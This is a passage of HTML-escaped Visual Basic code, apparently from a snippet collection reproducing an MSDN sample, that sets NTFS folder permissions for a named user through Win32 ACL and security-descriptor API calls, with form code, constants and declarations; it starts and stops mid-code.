/&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Now that you have the ACL information, compute the new ACL size&lt;br /&gt;' requirements.&lt;br /&gt;lNewACLSize = sACLInfo.AclBytesInUse + (Len(sCurrentACE) + _&lt;br /&gt;GetLengthSid(bUserSid(0))) * 2 - 4&lt;br /&gt;&lt;br /&gt;' Resize our new ACL buffer to its proper size.&lt;br /&gt;ReDim bNewACL(lNewACLSize)&lt;br /&gt;&lt;br /&gt;' Use the InitializeAcl API function call to initialize the new&lt;br /&gt;' ACL.&lt;br /&gt;lResult = InitializeAcl(bNewACL(0), lNewACLSize, ACL_REVISION)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Initialize New ACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' If a DACL is present, copy it to a new DACL.&lt;br /&gt;If (lDaclPresent) Then&lt;br /&gt;&lt;br /&gt;' Copy the ACEs from the file to the new ACL.&lt;br /&gt;If (sACLInfo.AceCount &gt; 0) Then&lt;br /&gt;&lt;br /&gt;' Grab each ACE and stuff them into the new ACL.&lt;br /&gt;nRecordNumber = 0&lt;br /&gt;For I = 0 To (sACLInfo.AceCount - 1)&lt;br /&gt;&lt;br /&gt;' Attempt to grab the next ACE.&lt;br /&gt;lResult = GetAce(pAcl, I, pCurrentAce)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Obtain ACE (" &amp; I &amp; ")"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You have a pointer to the ACE. Place it&lt;br /&gt;' into a structure, so you can get at its size.&lt;br /&gt;CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE)&lt;br /&gt;&lt;br /&gt;'Skip adding the ACE to the ACL if this is same usersid&lt;br /&gt;lTempSid = pCurrentAce + 8&lt;br /&gt;If EqualSid(bUserSid(0), lTempSid) = 0 Then&lt;br /&gt;&lt;br /&gt;' Now that you have the ACE, add it to the new ACL.&lt;br /&gt;lResult = AddAce(VarPtr(bNewACL(0)), ACL_REVISION, _&lt;br /&gt;MAXDWORD, pCurrentAce, _&lt;br /&gt;sCurrentACE.Header.AceSize)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Add ACE to New ACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;nRecordNumber = nRecordNumber + 1&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Next I&lt;br /&gt;&lt;br /&gt;' You have now rebuilt a new ACL and want to add it to&lt;br /&gt;' the newly created DACL.&lt;br /&gt;lResult = AddAccessAllowedAce(bNewACL(0), ACL_REVISION, _&lt;br /&gt;lMask, bUserSid(0))&lt;br /&gt;&lt;br /&gt;' Make sure added the ACL to the DACL.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Add ACL to DACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'If it's directory, we need to add inheritance staff.&lt;br /&gt;If GetAttr(sFileName) And vbDirectory Then&lt;br /&gt;&lt;br /&gt;' Attempt to grab the next ACE which is what we just added.&lt;br /&gt;lResult = GetAce(VarPtr(bNewACL(0)), nRecordNumber, pCurrentAce)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Obtain ACE (" &amp; I &amp; ")"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;' You have a pointer to the ACE. Place it&lt;br /&gt;' into a structure, so you can get at its size.&lt;br /&gt;CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE)&lt;br /&gt;sCurrentACE.Header.AceFlags = OBJECT_INHERIT_ACE + INHERIT_ONLY_ACE&lt;br /&gt;CopyMemory ByVal pCurrentAce, VarPtr(sCurrentACE), LenB(sCurrentACE)&lt;br /&gt;&lt;br /&gt;'add another ACE for files&lt;br /&gt;lResult = AddAccessAllowedAce(bNewACL(0), ACL_REVISION, _&lt;br /&gt;lMask, bUserSid(0))&lt;br /&gt;&lt;br /&gt;' Make sure added the ACL to the DACL.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Add ACL to DACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Attempt to grab the next ACE.&lt;br /&gt;lResult = GetAce(VarPtr(bNewACL(0)), nRecordNumber + 1, pCurrentAce)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Obtain ACE (" &amp; I &amp; ")"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE)&lt;br /&gt;sCurrentACE.Header.AceFlags = CONTAINER_INHERIT_ACE&lt;br /&gt;CopyMemory ByVal pCurrentAce, VarPtr(sCurrentACE), LenB(sCurrentACE)&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;' Set the file's Security Descriptor to the new DACL.&lt;br /&gt;lResult = SetSecurityDescriptorDacl(sNewSD, 1, _&lt;br /&gt;bNewACL(0), 0)&lt;br /&gt;&lt;br /&gt;' Make sure you set the SD to the new DACL.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: " &amp; _&lt;br /&gt;"Unable to Set New DACL to Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' The final step is to add the Security Descriptor back to&lt;br /&gt;' the file!&lt;br /&gt;lResult = SetFileSecurity(sFileName, _&lt;br /&gt;DACL_SECURITY_INFORMATION, sNewSD)&lt;br /&gt;&lt;br /&gt;' Make sure you added the Security Descriptor to the file!&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Set New Security Descriptor " _&lt;br /&gt;&amp; " to File : " &amp; sFileName&lt;br /&gt;MsgBox Err.LastDllError&lt;br /&gt;Else&lt;br /&gt;MsgBox "Updated Security Descriptor on File: " _&lt;br /&gt;&amp; sFileName&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;NTFS Permissions -&gt; AddFontResource&lt;br /&gt;&lt;br /&gt;'Example from MSDN (Q240176)&lt;br /&gt;'The following code changes permissions on a folder to Add &amp; Read or Change.&lt;br /&gt;'The folder needs to be created on an NTFS partition.&lt;br /&gt;'You need to be an Administrator on the machine in question and have read/write&lt;br /&gt;'(READ_CONTROL and WRITE_DAC) access to the file or directory.&lt;br /&gt;&lt;br /&gt;'1. Create a Standard EXE project in Visual Basic. Form1 is created by default.&lt;br /&gt;'2. Add two Textboxes (Text1 and Text2) and two CommandButtons (Command1 and Command2) to Form1.&lt;br /&gt;'3. Add the following code to the form and the module&lt;br /&gt;'4. Run the application.&lt;br /&gt;'5. In the Test1 TextBox, enter the name of the folder you want to change permissions on. (D:\test is entered by default.)&lt;br /&gt;' In the Test2 Textbox, enter the name of the user you want to give these permissions to.&lt;br /&gt;'6. Click the Add &amp; Read permissions button to give Add &amp; Read permissions to the folder, or click the Change Permissions&lt;br /&gt;' button to give Change permissions to the folder.&lt;br /&gt;'7. To check the permissions on the folder, right-click Explorer. Select the Properties menu item, and click the Security&lt;br /&gt;' Tab of the Properties dialog box. On the Security tab, click the Permissions button. The specific account should say&lt;br /&gt;' Add &amp; Read or Change depending on which button you clicked in the preceding sample.&lt;br /&gt;&lt;br /&gt;'Add this code to the form&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Dim sUserName As String&lt;br /&gt;Dim sFolderName As String&lt;br /&gt;sUserName = Trim$(CStr(Text2.Text))&lt;br /&gt;sFolderName = Trim$(CStr(Text1.Text))&lt;br /&gt;SetAccess sUserName, sFolderName, GENERIC_READ Or GENERIC_EXECUTE Or DELETE Or GENERIC_WRITE&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Dim sUserName As String&lt;br /&gt;Dim sFolderName As String&lt;br /&gt;sUserName = Trim$(Text2.Text)&lt;br /&gt;sFolderName = Trim$(Text1.Text)&lt;br /&gt;SetAccess sUserName, sFolderName, GENERIC_EXECUTE Or GENERIC_READ&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Text1.Text = "enter folder name"&lt;br /&gt;Text2.Text = "enter username"&lt;br /&gt;Command1.Caption = "Change"&lt;br /&gt;Command2.Caption = "Read &amp;&amp; Add"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'Add this code to a module&lt;br /&gt;&lt;br /&gt;' Constants used within our API calls. Refer to the MSDN for more&lt;br /&gt;' information on how/what these constants are used for.&lt;br /&gt;&lt;br /&gt;' Memory constants used through various memory API calls.&lt;br /&gt;Public Const GMEM_MOVEABLE = &amp;H2&lt;br /&gt;Public Const LMEM_FIXED = &amp;H0&lt;br /&gt;Public Const LMEM_ZEROINIT = &amp;H40&lt;br /&gt;Public Const LPTR = (LMEM_FIXED + LMEM_ZEROINIT)&lt;br /&gt;Public Const GENERIC_READ = &amp;H80000000&lt;br /&gt;Public Const GENERIC_ALL = &amp;H10000000&lt;br /&gt;Public Const GENERIC_EXECUTE = &amp;H20000000&lt;br /&gt;Public Const GENERIC_WRITE = &amp;H40000000&lt;br /&gt;&lt;br /&gt;' The file/security API call constants.&lt;br /&gt;' Refer to the MSDN for more information on how/what these constants&lt;br /&gt;' are used for.&lt;br /&gt;Public Const DACL_SECURITY_INFORMATION = &amp;H4&lt;br /&gt;Public Const SECURITY_DESCRIPTOR_REVISION = 1&lt;br /&gt;Public Const SECURITY_DESCRIPTOR_MIN_LENGTH = 20&lt;br /&gt;Public Const SD_SIZE = (65536 + SECURITY_DESCRIPTOR_MIN_LENGTH)&lt;br /&gt;Public Const ACL_REVISION2 = 2&lt;br /&gt;Public Const ACL_REVISION = 2&lt;br /&gt;Public Const MAXDWORD = &amp;HFFFFFFFF&lt;br /&gt;Public Const SidTypeUser = 1&lt;br /&gt;Public Const AclSizeInformation = 2&lt;br /&gt;&lt;br /&gt;' The following are the inherit flags that go into the AceFlags field&lt;br /&gt;' of an Ace header.&lt;br /&gt;&lt;br /&gt;Public Const OBJECT_INHERIT_ACE = &amp;H1&lt;br /&gt;Public Const CONTAINER_INHERIT_ACE = &amp;H2&lt;br /&gt;Public Const NO_PROPAGATE_INHERIT_ACE = &amp;H4&lt;br /&gt;Public Const INHERIT_ONLY_ACE = &amp;H8&lt;br /&gt;Public Const INHERITED_ACE = &amp;H10&lt;br /&gt;Public Const VALID_INHERIT_FLAGS = &amp;H1F&lt;br /&gt;Public Const DELETE = &amp;H10000&lt;br /&gt;&lt;br /&gt;' Structures used by our API calls.&lt;br /&gt;' Refer to the MSDN for more information on how/what these&lt;br /&gt;' structures are used for.&lt;br /&gt;Type ACE_HEADER&lt;br /&gt;AceType As Byte&lt;br /&gt;AceFlags As Byte&lt;br /&gt;AceSize As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Public Type ACCESS_DENIED_ACE&lt;br /&gt;Header As ACE_HEADER&lt;br /&gt;Mask As Long&lt;br /&gt;SidStart As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ACCESS_ALLOWED_ACE&lt;br /&gt;Header As ACE_HEADER&lt;br /&gt;Mask As Long&lt;br /&gt;SidStart As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ACL&lt;br /&gt;AclRevision As Byte&lt;br /&gt;Sbz1 As Byte&lt;br /&gt;AclSize As Integer&lt;br /&gt;AceCount As Integer&lt;br /&gt;Sbz2 As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ACL_SIZE_INFORMATION&lt;br /&gt;AceCount As Long&lt;br /&gt;AclBytesInUse As Long&lt;br /&gt;AclBytesFree As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type SECURITY_DESCRIPTOR&lt;br /&gt;Revision As Byte&lt;br /&gt;Sbz1 As Byte&lt;br /&gt;Control As Long&lt;br /&gt;Owner As Long&lt;br /&gt;Group As Long&lt;br /&gt;sACL As ACL&lt;br /&gt;Dacl As ACL&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;' API calls used within this sample. Refer to the MSDN for more&lt;br /&gt;' information on how/what these APIs do.&lt;br /&gt;&lt;br /&gt;Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long&lt;br /&gt;Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long&lt;br /&gt;Declare Function LookupAccountName Lib "advapi32.dll" Alias "LookupAccountNameA" (lpSystemName As String, ByVal lpAccountName As String, sid As Any, cbSid As Long, ByVal ReferencedDomainName As String, cbReferencedDomainName As Long, peUse As Long) As Long&lt;br /&gt;Declare Function InitializeSecurityDescriptor Lib "advapi32.dll" (pSecurityDescriptor As SECURITY_DESCRIPTOR, ByVal dwRevision As Long) As Long&lt;br /&gt;Declare Function GetSecurityDescriptorDacl Lib "advapi32.dll" (pSecurityDescriptor As Byte, lpbDaclPresent As Long, pDacl As Long, lpbDaclDefaulted As Long) As Long&lt;br /&gt;Declare Function GetFileSecurityN Lib "advapi32.dll" Alias "GetFileSecurityA" (ByVal lpFileName As String, ByVal RequestedInformation As Long, ByVal pSecurityDescriptor As Long, ByVal nLength As Long, lpnLengthNeeded As Long) As Long&lt;br /&gt;Declare Function GetFileSecurity Lib "advapi32.dll" Alias "GetFileSecurityA" (ByVal lpFileName As String, ByVal RequestedInformation As Long, pSecurityDescriptor As Byte, ByVal nLength As Long, lpnLengthNeeded As Long) As Long&lt;br /&gt;Declare Function GetAclInformation Lib "advapi32.dll" (ByVal pAcl As Long, pAclInformation As Any, ByVal nAclInformationLength As Long, ByVal dwAclInformationClass As Long) As Long&lt;br /&gt;Public Declare Function EqualSid Lib "advapi32.dll" (pSid1 As Byte, ByVal pSid2 As Long) As Long&lt;br /&gt;Declare Function GetLengthSid Lib "advapi32.dll" (pSid As Any) As Long&lt;br /&gt;Declare Function InitializeAcl Lib "advapi32.dll" (pAcl As Byte, ByVal nAclLength As Long, ByVal dwAclRevision As Long) As Long&lt;br /&gt;Declare Function GetAce Lib "advapi32.dll" (ByVal pAcl As Long, ByVal dwAceIndex As Long, pace As Any) As Long&lt;br /&gt;Declare Function AddAce Lib "advapi32.dll" (ByVal pAcl As Long, ByVal dwAceRevision As Long, ByVal dwStartingAceIndex As Long, ByVal pAceList As Long, ByVal nAceListLength As Long) As Long&lt;br /&gt;Declare Function AddAccessAllowedAce Lib "advapi32.dll" (pAcl As Byte, ByVal dwAceRevision As Long, ByVal AccessMask As Long, pSid As Byte) As Long&lt;br /&gt;Public Declare Function AddAccessDeniedAce Lib "advapi32.dll" (pAcl As Byte, ByVal dwAceRevision As Long, ByVal AccessMask As Long, pSid As Byte) As Long&lt;br /&gt;Declare Function SetSecurityDescriptorDacl Lib "advapi32.dll" (pSecurityDescriptor As SECURITY_DESCRIPTOR, ByVal bDaclPresent As Long, pDacl As Byte, ByVal bDaclDefaulted As Long) As Long&lt;br /&gt;Declare Function SetFileSecurity Lib "advapi32.dll" Alias "SetFileSecurityA" (ByVal lpFileName As String, ByVal SecurityInformation As Long, pSecurityDescriptor As SECURITY_DESCRIPTOR) As Long&lt;br /&gt;Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)&lt;br /&gt;Public Sub SetAccess(sUserName As String, sFileName As String, lMask As Long)&lt;br /&gt;Dim lResult As Long ' Result of various API calls.&lt;br /&gt;Dim I As Integer ' Used in looping.&lt;br /&gt;Dim bUserSid(255) As Byte ' This will contain your SID.&lt;br /&gt;Dim bTempSid(255) As Byte ' This will contain the Sid of each ACE in the ACL .&lt;br /&gt;Dim sSystemName As String ' Name of this computer system.&lt;br /&gt;&lt;br /&gt;Dim lSystemNameLength As Long ' Length of string that contains&lt;br /&gt;' the name of this system.&lt;br /&gt;&lt;br /&gt;Dim lLengthUserName As Long ' Max length of user name.&lt;br /&gt;&lt;br /&gt;'Dim sUserName As String * 255 ' String to hold the current user&lt;br /&gt;' name.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dim lUserSID As Long ' Used to hold the SID of the&lt;br /&gt;' current user.&lt;br /&gt;&lt;br /&gt;Dim lTempSid As Long ' Used to hold the SID of each ACE in the ACL&lt;br /&gt;Dim lUserSIDSize As Long ' Size of the SID.&lt;br /&gt;Dim sDomainName As String * 255 ' Domain the user belongs to.&lt;br /&gt;Dim lDomainNameLength As Long ' Length of domain name needed.&lt;br /&gt;&lt;br /&gt;Dim lSIDType As Long ' The type of SID info we are&lt;br /&gt;' getting back.&lt;br /&gt;&lt;br /&gt;Dim sFileSD As SECURITY_DESCRIPTOR ' SD of the file we want.&lt;br /&gt;&lt;br /&gt;Dim bSDBuf() As Byte ' Buffer that holds the security&lt;br /&gt;' descriptor for this file.&lt;br /&gt;&lt;br /&gt;Dim lFileSDSize As Long ' Size of the File SD.&lt;br /&gt;Dim lSizeNeeded As Long ' Size needed for SD for file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dim sNewSD As SECURITY_DESCRIPTOR ' New security descriptor.&lt;br /&gt;&lt;br /&gt;Dim sACL As ACL ' Used in grabbing the DACL from&lt;br /&gt;' the File SD.&lt;br /&gt;&lt;br /&gt;Dim lDaclPresent As Long ' Used in grabbing the DACL from&lt;br /&gt;' the File SD.&lt;br /&gt;&lt;br /&gt;Dim lDaclDefaulted As Long ' Used in grabbing the DACL from&lt;br /&gt;' the File SD.&lt;br /&gt;&lt;br /&gt;Dim sACLInfo As ACL_SIZE_INFORMATION ' Used in grabbing the ACL&lt;br /&gt;' from the File SD.&lt;br /&gt;&lt;br /&gt;Dim lACLSize As Long ' Size of the ACL structure used&lt;br /&gt;' to get the ACL from the File SD.&lt;br /&gt;&lt;br /&gt;Dim pAcl As Long ' Current ACL for this file.&lt;br /&gt;Dim lNewACLSize As Long ' Size of new ACL to create.&lt;br /&gt;Dim bNewACL() As Byte ' Buffer to hold new ACL.&lt;br /&gt;&lt;br /&gt;Dim sCurrentACE As ACCESS_ALLOWED_ACE ' Current ACE.&lt;br /&gt;Dim pCurrentAce As Long ' Our current ACE.&lt;br /&gt;&lt;br /&gt;Dim nRecordNumber As Long&lt;br /&gt;&lt;br /&gt;' Get the SID of the user. (Refer to the MSDN for more information on SIDs&lt;br /&gt;' and their function/purpose in the operating system.) Get the SID of this&lt;br /&gt;' user by using the LookupAccountName API. In order to use the SID&lt;br /&gt;' of the current user account, call the LookupAccountName API&lt;br /&gt;' twice. The first time is to get the required sizes of the SID&lt;br /&gt;' and the DomainName string. The second call is to actually get&lt;br /&gt;' the desired information.&lt;br /&gt;&lt;br /&gt;lResult = LookupAccountName(vbNullString, sUserName, _&lt;br /&gt;bUserSid(0), 255, sDomainName, lDomainNameLength, _&lt;br /&gt;lSIDType)&lt;br /&gt;&lt;br /&gt;' Now set the sDomainName string buffer to its proper size before&lt;br /&gt;' calling the API again.&lt;br /&gt;sDomainName = Space(lDomainNameLength)&lt;br /&gt;&lt;br /&gt;' Call the LookupAccountName again to get the actual SID for user.&lt;br /&gt;lResult = LookupAccountName(vbNullString, sUserName, _&lt;br /&gt;bUserSid(0), 255, sDomainName, lDomainNameLength, _&lt;br /&gt;lSIDType)&lt;br /&gt;&lt;br /&gt;' Return value of zero means the call to LookupAccountName failed;&lt;br /&gt;' test for this before you continue.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Lookup the Current User Account: " _&lt;br /&gt;&amp; sUserName&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You now have the SID for the user who is logged on.&lt;br /&gt;' The SID is of interest since it will get the security descriptor&lt;br /&gt;' for the file that the user is interested in.&lt;br /&gt;' The GetFileSecurity API will retrieve the Security Descriptor&lt;br /&gt;' for the file. However, you must call this API twice: once to get&lt;br /&gt;' the proper size for the Security Descriptor and once to get the&lt;br /&gt;' actual Security Descriptor information.&lt;br /&gt;&lt;br /&gt;lResult = GetFileSecurityN(sFileName, DACL_SECURITY_INFORMATION, _&lt;br /&gt;0, 0, lSizeNeeded)&lt;br /&gt;&lt;br /&gt;' Redimension the Security Descriptor buffer to the proper size.&lt;br /&gt;ReDim bSDBuf(lSizeNeeded)&lt;br /&gt;&lt;br /&gt;' Now get the actual Security Descriptor for the file.&lt;br /&gt;lResult = GetFileSecurity(sFileName, DACL_SECURITY_INFORMATION, _&lt;br /&gt;bSDBuf(0), lSizeNeeded, lSizeNeeded)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Get the File Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Call InitializeSecurityDescriptor to build a new SD for the&lt;br /&gt;' file.&lt;br /&gt;lResult = InitializeSecurityDescriptor(sNewSD, _&lt;br /&gt;SECURITY_DESCRIPTOR_REVISION)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Initialize New Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You now have the file's SD and a new Security Descriptor&lt;br /&gt;' that will replace the current one. Next, pull the DACL from&lt;br /&gt;' the SD. To do so, call the GetSecurityDescriptorDacl API&lt;br /&gt;' function.&lt;br /&gt;&lt;br /&gt;lResult = GetSecurityDescriptorDacl(bSDBuf(0), lDaclPresent, _&lt;br /&gt;pAcl, lDaclDefaulted)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Get DACL from File Security " _&lt;br /&gt;&amp; "Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You have the file's SD, and want to now pull the ACL from the&lt;br /&gt;' SD. To do so, call the GetACLInformation API function.&lt;br /&gt;' See if ACL exists for this file before getting the ACL&lt;br /&gt;' information.&lt;br /&gt;If (lDaclPresent = False) Then&lt;br /&gt;MsgBox "Error: No ACL Information Available for this File"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Attempt to get the ACL from the file's Security Descriptor.&lt;br /&gt;lResult = GetAclInformation(pAcl, sACLInfo, Len(sACLInfo), 2&amp;)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Get ACL from File Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Now that you have the ACL information, compute the new ACL size&lt;br /&gt;' requirements.&lt;br /&gt;lNewACLSize = sACLInfo.AclBytesInUse + (Len(sCurrentACE) + _&lt;br /&gt;GetLengthSid(bUserSid(0))) * 2 - 4&lt;br /&gt;&lt;br /&gt;' Resize our new ACL buffer to its proper size.&lt;br /&gt;ReDim bNewACL(lNewACLSize)&lt;br /&gt;&lt;br /&gt;' Use the InitializeAcl API function call to initialize the new&lt;br /&gt;' ACL.&lt;br /&gt;lResult = InitializeAcl(bNewACL(0), lNewACLSize, ACL_REVISION)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Initialize New ACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' If a DACL is present, copy it to a new DACL.&lt;br /&gt;If (lDaclPresent) Then&lt;br /&gt;&lt;br /&gt;' Copy the ACEs from the file to the new ACL.&lt;br /&gt;If (sACLInfo.AceCount &gt; 0) Then&lt;br /&gt;&lt;br /&gt;' Grab each ACE and stuff them into the new ACL.&lt;br /&gt;nRecordNumber = 0&lt;br /&gt;For I = 0 To (sACLInfo.AceCount - 1)&lt;br /&gt;&lt;br /&gt;' Attempt to grab the next ACE.&lt;br /&gt;lResult = GetAce(pAcl, I, pCurrentAce)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Obtain ACE (" &amp; I &amp; ")"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You have a pointer to the ACE. Place it&lt;br /&gt;' into a structure, so you can get at its size.&lt;br /&gt;CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE)&lt;br /&gt;&lt;br /&gt;'Skip adding the ACE to the ACL if this is same usersid&lt;br /&gt;lTempSid = pCurrentAce + 8&lt;br /&gt;If EqualSid(bUserSid(0), lTempSid) = 0 Then&lt;br /&gt;&lt;br /&gt;' Now that you have the ACE, add it to the new ACL.&lt;br /&gt;lResult = AddAce(VarPtr(bNewACL(0)), ACL_REVISION, _&lt;br /&gt;MAXDWORD, pCurrentAce, _&lt;br /&gt;sCurrentACE.Header.AceSize)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Add ACE to New ACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;nRecordNumber = nRecordNumber + 1&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Next I&lt;br /&gt;&lt;br /&gt;' You have now rebuilt a new ACL and want to add it to&lt;br /&gt;' the newly created DACL.&lt;br /&gt;lResult = AddAccessAllowedAce(bNewACL(0), ACL_REVISION, _&lt;br /&gt;lMask, bUserSid(0))&lt;br /&gt;&lt;br /&gt;' Make sure added the ACL to the DACL.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Add ACL to DACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'If it's directory, we need to add inheritance staff.&lt;br /&gt;If GetAttr(sFileName) And vbDirectory Then&lt;br /&gt;&lt;br /&gt;' Attempt to grab the next ACE which is what we just added.&lt;br /&gt;lResult = GetAce(VarPtr(bNewACL(0)), nRecordNumber, pCurrentAce)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Obtain ACE (" &amp; I &amp; ")"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;' You have a pointer to the ACE. Place it&lt;br /&gt;' into a structure, so you can get at its size.&lt;br /&gt;CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE)&lt;br /&gt;sCurrentACE.Header.AceFlags = OBJECT_INHERIT_ACE + INHERIT_ONLY_ACE&lt;br /&gt;CopyMemory ByVal pCurrentAce, VarPtr(sCurrentACE), LenB(sCurrentACE)&lt;br /&gt;&lt;br /&gt;'add another ACE for files&lt;br /&gt;lResult = AddAccessAllowedAce(bNewACL(0), ACL_REVISION, _&lt;br /&gt;lMask, bUserSid(0))&lt;br /&gt;&lt;br /&gt;' Make sure added the ACL to the DACL.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Add ACL to DACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Attempt to grab the next ACE.&lt;br /&gt;lResult = GetAce(VarPtr(bNewACL(0)), nRecordNumber + 1, pCurrentAce)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Obtain ACE (" &amp; I &amp; ")"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE)&lt;br /&gt;sCurrentACE.Header.AceFlags = CONTAINER_INHERIT_ACE&lt;br /&gt;CopyMemory ByVal pCurrentAce, VarPtr(sCurrentACE), LenB(sCurrentACE)&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;' Set the file's Security Descriptor to the new DACL.&lt;br /&gt;lResult = SetSecurityDescriptorDacl(sNewSD, 1, _&lt;br /&gt;bNewACL(0), 0)&lt;br /&gt;&lt;br /&gt;' Make sure you set the SD to the new DACL.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: " &amp; _&lt;br /&gt;"Unable to Set New DACL to Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' The final step is to add the Security Descriptor back to&lt;br /&gt;' the file!&lt;br /&gt;lResult = SetFileSecurity(sFileName, _&lt;br /&gt;DACL_SECURITY_INFORMATION, 